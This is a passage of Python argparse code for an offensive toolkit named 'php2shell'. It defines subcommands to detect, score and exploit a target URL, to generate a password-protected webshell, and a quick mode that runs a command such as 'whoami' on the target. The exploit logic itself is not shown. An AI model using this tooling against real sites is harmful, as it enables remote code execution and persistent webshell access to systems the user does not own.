p.add_argument("urls", nargs="*", help="one or more target URLs")
_add_common(p)
_add_io(p)
p.set_defaults(func=cmd_detect)
# preflight
p = sub.add_parser("preflight", help="one URL, exploit readiness score")
p.add_argument("url", help="target URL")
_add_common(p)
_add_io(p)
p.set_defaults(func=cmd_preflight)
# exploit
p = sub.add_parser("exploit",
help="one URL, run the chain (READY + confirm)")
p.add_argument("url", help="target URL")
p.add_argument("--confirm", action="store_true",
help="ask for confirmation (default: auto in subcommand mode too)")
_add_common(p)
_add_exploit_flags(p)
_add_io(p)
p.set_defaults(func=cmd_exploit)
# shell
p = sub.add_parser("shell",
help="generate a password-protected webshell")
p.add_argument("--out", default="./out", help="output directory")
p.add_argument("--ttl", type=int, default=72,
help="lifetime hours (default 72)")
p.add_argument("--author", default="", help="name/handle for audit")
p.add_argument("--commands", default="",
help="whitelist comma-separated")
p.add_argument("--password", default="",
help="explicit password; empty = random")
p.add_argument("--list-commands", action="store_true",
help="show default commands and exit")
p.set_defaults(func=cmd_shell)
# version
p = sub.add_parser("version",
help="print toolkit version + chain sha256")
p.set_defaults(func=cmd_version)
return ap
def main() -> int:
ap = build_parser()
args = ap.parse_args()
# Quick modes: -u / -d take priority over subcommands
if args.target_url:
return cmd_quick_exploit(args)
if args.detect_url:
return cmd_quick_detect(args)
# Subcommand mode
if getattr(args, "sub", None) and hasattr(args, "func"):
return int(args.func(args) or 0)
# No flags, no subcommand → splash screen
print(banner_mod.splash())
print()
print("Quick usage:")
print(" php2shell -u URL auto exploit")
print(" php2shell -d URL detect only")
print(" php2shell -u URL -c whoami custom command")
print()
print("Full modes: scan | detect | preflight | exploit | shell | version")
return 0
if __name__ == "__main__":
sys.exit(main())